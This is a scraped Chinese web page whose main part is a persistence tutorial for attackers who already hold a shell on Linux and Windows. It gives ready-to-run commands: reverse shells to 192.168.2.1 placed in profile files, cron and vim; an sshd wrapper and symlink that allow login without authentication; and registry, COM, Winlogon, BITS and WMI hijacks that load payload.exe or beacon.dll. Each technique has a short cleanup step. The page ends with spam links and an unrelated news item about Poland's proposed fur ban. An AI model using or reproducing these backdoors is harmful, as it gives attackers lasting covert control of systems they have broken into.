    rm -rf /tmp/.bash
    

    通過環境變量植入後門

    以下是環境變量的位置

    /etc/profile
    /etc/profile.d/*.sh
    ~/.bash_profile
    ~/.profile
    ~/.bashrc
    ~/bash_logout
    /etc/bashrc
    /etc/bash.bashrc
    

    寫入shell反彈語句

    echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile
    

    這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

    以下文件需要高權限,為全局變量

    /etc/profile
    /etc/profile.d/*.sh
    /etc/bashrc
    /etc/bash.bashrc
    

    以下為當前用戶的環境變量

    ~/.bash_profile		#實驗過程中沒有反應
    ~/.profile				#登錄後會接收shell,但是加載桌面時會卡住
    ~/.bashrc					#打開shell窗口時會接收shell,但正常的shell窗口會卡住
    ~/bash_logout			#實驗過程中沒有反應
    

    清理痕迹

    刪除配置文件中添加的代碼即可

    寫入ssh公鑰

    首先在本地生成ssh公鑰和私鑰

    在自己的~/.ssh/目錄下執行

    ssh-keygen -t rsa
    

    會生成以下三個文件,id_rsa.pub為公鑰,id_rsa為私鑰

    id_rsa      id_rsa.pub  known_hosts
    

    xxx為公鑰內容,也就是id_rsa.pub的內容

    echo "xxx" >> ~/.ssh/authorized_keys
    

    清理痕迹

    刪除目標上的 ~/.ssh/authorized_keys即可

    ssh任意密碼登錄

    在root用戶時,suchfnchsh命令不需要輸入密碼認證

    通過軟連接將ssh的服務進行cp,並重命名為以上命令

    ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接,軟連接文件名為su或chfn或chsh
    /tmp/su -oPort=12345								#通過軟連接的文件,開啟ssh連接-oPort指定開啟端口
    

    連接

    ssh root@host -p 12345
    
    #密碼隨便輸入即可登錄,並且可登錄任意賬號
    

    清理方式

    netstat -antp | gerp -E "su|chfn|chsh"
    #找到進程號xxx
    ps aux | grep xxx
    #找到軟連接位置/aaa/bbb/su
    kill xxx
    rm -rf /aaa/bbb/su
    

    修改sshd文件做到無認證登錄

    建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接,此時對sshd文件內容進行修改,則能做到無認證登錄

    將原先的sshd文件進行轉義

    mv /usr/sbin/sshd /usr/bin/sshd
    

    開始使用perl進行寫腳本

    echo '#!/usr/bin/perl' > /usr/sbin/sshd
    echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd
    

    其實整個腳本在第二行執行了個if,如果端口符合要求,則直接建立連接,否則正常執行sshd

    其中的LF代表開啟的端口號是19526

    python2
    >> import struct
    >> print struct.pack('>I6',19526) 
    #輸出的內容為 LF
    

    賦予新文件權限並重啟sshd

    chmod u+x sshd
    service sshd restart
    

    連接方式

    socat STDIO TCP4:172.16.177.178:22,bind=:19526
    

    清除痕迹

    #刪除自定義的sshd
    rm -rf /usr/sbin/sshd
    #將同版本的sshd拷貝到對應目錄下
    mv /usr/bin/sshd /usr/sbin/sshd
    

    利用vim可執行python腳本預留後門

    先準備個python的反彈shell腳本

    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
    

    找到提供vim插件的python的擴展包目錄

    vim --version  #查看使用的python版本
    

    找到python的擴展位置

    pip show requests
    

    進入目錄

    cd /usr/lib/python2.7/site-packages
    

    將內容寫入

    echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py
    

    運行,並刪除文件

    $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
    

    清除痕迹

    ps aux|grep vim
    #獲取pid
    kill pid
    

    計劃任務

    因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

    這裏藉助python,或者perl都可

    使用python

    echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -
    

    使用perl

    echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -
    

    清除痕迹

    如果通過crontab -e 不知道為啥會頂掉上一個

    crontab -l			#只看得到一個
    crontab -r			#刪除所有計劃任務
    

    動態加載庫

    使用export LD_PRELOAD=./xx.so

    這時候./xx.so中如果對函數進行了重定義,調用了該函數的程序就會執行重定義的代碼

    這裏使用以下項目

    https://github.com/Screetsec/Vegile
    

    準備2個文件

    • msf的木馬
    • Veglie項目

    使用方法將MSF木馬Vegile上傳到目標服務器上,把項目目錄弄成http服務

    python -m SimpleHTTP
    

    目標服務器上

    wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
    wget http://xxx.xxx.xx.xxx:8000/shell
    

    解壓后運行

    unzip Vegile.zip
    chmod 777 Vegile shell
    ./Vegile --u shell
    

    清理痕迹

    清理起來十分麻煩,因為直接刪除進程是刪不掉的,因此存在父進程與多個子進程

    清理思路掛起父進程,清除所有子進程再刪除父進程

    windows權限維持

    比較常見的windows提取

    ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
    ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
    ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞
    

    計劃任務

    拿到shell后先修改編碼

    chcp 65001
    

    設置計劃任務,每分鐘調用運行一次shell

    schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00
    

    清理痕迹

    控制面板->管理工具->任務計劃程序->找到惡意計劃任務
    在 操作 中找到調用的腳本,進行文件刪除
    刪除惡意計劃任務
    

    映像劫持

    在程序運行前會去讀自己是否設置了debug,需要對劫持的程序有權限

    以下通過註冊表對setch.exe設置了debug為cmd.exe程序,也就是按5下shift會彈出cmd的框

    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
    

    清理痕迹

    HKLM是HKEY_LOCAL_MACHINE

    找到目標的註冊表,將debug內容刪除

    環境變量

    用戶登陸時會去加載環境變量,通過設置環境變量UserInitMprLogonScript值,實現登陸時自動運行腳本

    reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f
    

    清理痕迹

    直接找到 開始->用戶頭像->更改我的環境變量

    進程退出劫持

    在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”
    

    清理痕迹

    找到目標的註冊表刪除即可

    AppInit_DLLs注入

    User32.dll 被加載到進程時,設置其註冊表的中能設置加載其他的dll文件,則可使其加載惡意的腳本

    對HKML註冊表的內容進行修改一般都要system權限

    Windows 10

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    

    其他

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f
    

    這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

    清理痕迹

    到對應註冊表的位置刪除Appinit_Dlls的值

    bits文件傳輸

    通過bitsadmin從網絡上下載的時候可以額外執行腳本

    bitsadmin /create test
    
    隨意下載
    bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 
    
    執行的命令
    bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 
    
    啟動任務
    bitsadmin /resume test
    

    每次開機的時候會觸發

    清理痕迹

    bitsadmin /reset
    

    COM組件劫持

    將腳本放入com組件中

    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f
    
    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
    

    清理痕迹

    刪除註冊表中的路徑值,並通過路徑刪除木馬文件

    替換cmd.exe

    將sethc.exe(按shift 5下)替換成cmd.exe

    takeown /f sethc.* /a /r /d y
    cacls sethc.exe /T /E /G administrators:F
    copy /y cmd.exe sethc.exe
    

    清理痕迹

    找個原版的setch.exe 覆蓋回去

    Winlogon劫持

    winlogon是windows登錄賬戶時會執行的程序,這裏將其註冊表中寫入木馬運行的dll路徑

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f
    

    清理痕迹

    刪除註冊表的shell中的值,並且找到後門文件刪除掉

    組策略

    需要能遠程登錄到桌面

    輸入gpedit.msc打開組策略,需要管理員賬號

    在用戶與計算機中的windows設置中均可以對腳本進行編輯,用戶策略是用戶權限,計算機策略是system權限

    清理痕迹

    打開組策略找到腳本,刪除即可

    修改計算器啟動服務調用的程序

    啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裏做後面的思路是,該服務本身對計算機運行沒有影響,因此將其手動啟動改成自動啟動,並將其運行的腳本改成木馬後門

    類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

    篡改運行腳本
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f
    
    設置自動啟動
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 
    
    啟動服務
    sc start IEEtwCollectorService 
    

    返回的是system權限

    清理痕迹

    將篡改的註冊表改回來,並且刪除目標木馬

    MSDTC 服務

    MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員用戶權限

    清理痕迹

    刪除的時候因為被多個進程調用,因此刪不掉,這裏可以換個思路修改其名稱,重啟再刪除

    啟動項

    啟動項是會去指定文件夾下運行文件夾下的所有服務,這個文件夾是

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    
    C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    

    也會運行以下註冊表中的腳本

    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    
    需要高權限
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表,並找到木馬位置刪除

    cmd 啟動劫持

    在cmd啟動時回去註冊表中查看是否有AutoRun的健值,如果有則會運行其中的腳本

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    在管理員權限下刪除註冊表的值即可

    wmic事件

    註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鍾,由於是永久 WMI 事 件訂閱,故需要管理員權限,最終獲取到權限也是 system 權限
    wmic 
    /NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 
    
    
    註冊一個事件消費者,這裏寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
    wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 
    
    綁定事件 過濾器和事件消費者
    wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

  • 波蘭擬立法禁止生產皮草 引發業者抗議

    摘錄自2020年9月17日中央社報導

    波蘭動物皮草農場主人和猶太潔食肉品製造業者今(16日)在首都華沙抗議一項正在國會闖關的新法,這項法案受到動物維權團體支持。

    法新社報導,根據動物維權人士說法,波蘭是全球第3大皮草生產國,僅次於中國和丹麥,此外,波蘭也是將猶太潔食肉品外銷到以色列和歐洲猶太社區的重要出口國。

    這項立法將禁止業者透過畜養動物來獲取皮草,並禁止出口按伊斯蘭教律法及猶太律法處理的肉品。

    這項立法上週首度遭到擱置時,執政法律正義黨黨魁卡臣斯基(Jaroslaw Kaczynski)表示:「波蘭對於動物的標準應該不比西方國家差,甚至應該更好。」

    生物多樣性
    國際新聞
    波蘭
    動物皮草
    立法

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※Google地圖已可更新顯示潭子電動車充電站設置地點!!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計最專業,超強功能平台可客製化